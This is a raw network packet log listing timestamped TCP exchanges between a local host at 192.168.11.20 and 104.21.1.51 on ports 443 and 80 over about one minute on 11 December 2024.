Dec 11, 2024 12:58:50.507492065 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.507492065 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.507497072 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.507608891 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.507608891 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.508325100 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.508358955 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.508479118 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.508526087 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.508526087 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.508529902 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.508649111 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.508649111 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.509849072 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.509877920 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.510040045 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.510040045 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.510045052 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.510088921 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.510183096 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.510864973 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.510879040 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.510998964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.510998964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.511075974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.511085033 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.511131048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.511223078 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.511944056 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.511953115 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.512080908 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.512157917 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.512157917 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.512167931 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.512178898 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.512226105 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.512351036 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.512974977 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.512984037 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.513120890 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.513166904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.513166904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.513170958 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.513220072 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.513220072 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.513341904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.514544010 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.514576912 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.514693975 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.514693975 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.514772892 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.514776945 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.514816999 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.514816999 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.514928102 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.515604019 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.515611887 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.515743971 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.515829086 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.515829086 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.515835047 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.515891075 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.515968084 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.516583920 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.516592979 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.516752958 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.516753912 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.516808987 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.516818047 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.516902924 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.516984940 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.518122911 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.518131018 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.518296957 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.518296957 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.518362999 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.518362999 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.518368959 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.518465042 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.518516064 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.519201994 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.519217014 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.519371033 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.519371033 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.519418955 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.519422054 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.519521952 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.519566059 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.520282984 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.520292044 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.520478964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.520479918 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.520524025 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.520524979 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.520528078 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.520625114 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.520673990 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.521333933 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.521342993 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.521480083 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.521480083 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.521524906 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.521524906 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.521528959 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.521626949 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.521672010 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.522770882 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.522779942 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.522974968 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.522974968 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.522981882 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.523053885 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.523118973 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.523850918 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.523885012 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.524012089 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.524012089 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.524090052 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.524099112 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.524146080 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.524199009 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.524286032 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.524703026 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.524883986 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.524892092 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.525059938 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.525120974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.525121927 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.525131941 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.525137901 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.525218010 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.525352955 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.525820971 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.525835037 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.525990963 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.525990963 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.526050091 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.526058912 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.526065111 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.526115894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.526196003 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.527595997 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.527604103 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.527762890 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.527762890 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.527879000 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.527888060 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.528036118 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.528445959 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.528455019 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.528620958 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.528620958 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.528675079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.528683901 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.528690100 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.528740883 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.528877020 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.529542923 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.529551983 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.529725075 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.529725075 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.529746056 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.529751062 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.529845953 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.529907942 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.530355930 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.530394077 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.530530930 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.530530930 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.530582905 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.530591965 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.530599117 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.530599117 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.530723095 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.532242060 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.532249928 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.532432079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.532432079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.532438993 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.532505989 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.532610893 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.533155918 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.533170938 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.533294916 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.533341885 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.533341885 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.533348083 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.533502102 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.534224033 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.534239054 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.534440994 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.534440994 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.534450054 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.534548044 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.534687042 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.535024881 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.535033941 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.535197020 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.535197020 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.535294056 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.535294056 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.535294056 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.535304070 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.535547972 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.536720037 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.536732912 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.536896944 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.536896944 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.536947966 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.536957026 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.537049055 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.537092924 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.537873983 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.537883043 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.538105011 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.538105011 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.538203955 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.538209915 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.538336992 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.538418055 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.539165020 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.539192915 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.539329052 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.539329052 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.539374113 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.539377928 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.539474964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.539520979 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.540507078 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.540517092 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.540668011 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.540668011 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.540674925 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.540761948 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.540811062 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.541418076 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.541426897 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.541552067 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.541599989 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.541599989 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.541605949 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.541704893 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.541760921 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.542620897 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.542629957 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.542762041 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.542762041 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.542834997 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.542844057 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.542903900 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.542912960 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.542987108 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.543452978 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.543509960 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.543593884 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.543593884 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.543642044 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.543698072 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.543787956 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:51.161659956 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:51.295177937 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:53.964406967 CET	49758	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:53.964454889 CET	443	49758	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:53.964586973 CET	49758	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:53.964719057 CET	49758	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:53.964740992 CET	443	49758	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:54.200365067 CET	443	49758	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:54.201179028 CET	49758	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:54.201195002 CET	443	49758	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:54.201400042 CET	49758	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:54.201428890 CET	443	49758	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.024144888 CET	443	49758	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.024301052 CET	443	49758	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.024457932 CET	49758	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:55.024602890 CET	49758	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:55.042505980 CET	49759	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:55.042565107 CET	443	49759	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.042725086 CET	49759	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:55.042824984 CET	49759	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:55.042856932 CET	443	49759	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.281724930 CET	443	49759	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.282660007 CET	49759	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:55.282692909 CET	443	49759	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.282815933 CET	49759	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:55.282831907 CET	443	49759	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.918718100 CET	443	49759	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.918798923 CET	443	49759	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:55.919048071 CET	49759	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:55.919297934 CET	49759	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:57.654700994 CET	49760	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:57.654721022 CET	443	49760	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:57.654923916 CET	49760	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:57.655061960 CET	49760	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:57.655072927 CET	443	49760	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:57.758826971 CET	49761	80	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:57.872607946 CET	80	49761	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:57.872780085 CET	49761	80	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:57.873001099 CET	49761	80	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:57.889034986 CET	443	49760	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:57.889993906 CET	49760	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:57.890010118 CET	443	49760	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:57.890189886 CET	49760	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:57.890207052 CET	443	49760	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:57.988557100 CET	80	49761	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:58.516891956 CET	443	49760	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:58.516983986 CET	443	49760	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:58.517174959 CET	49760	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:58.517400026 CET	49760	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:58.574620008 CET	80	49761	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:58.574628115 CET	80	49761	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:58.574640989 CET	80	49761	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:58.574646950 CET	80	49761	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:58.574906111 CET	49761	80	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:58.574906111 CET	49761	80	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:49.104624987 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:49.104646921 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:49.104783058 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:49.116945028 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:49.116981030 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:49.353837967 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:49.354049921 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:49.360071898 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:49.360089064 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:49.360405922 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:49.384778976 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:49.426217079 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.014127970 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.014285088 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.014333963 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.014421940 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.014453888 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.014569044 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.014588118 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.014715910 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.014854908 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.243370056 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.243805885 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.243863106 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.244069099 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.244092941 CET	443	49763	104.21.1.51	192.168.11.20
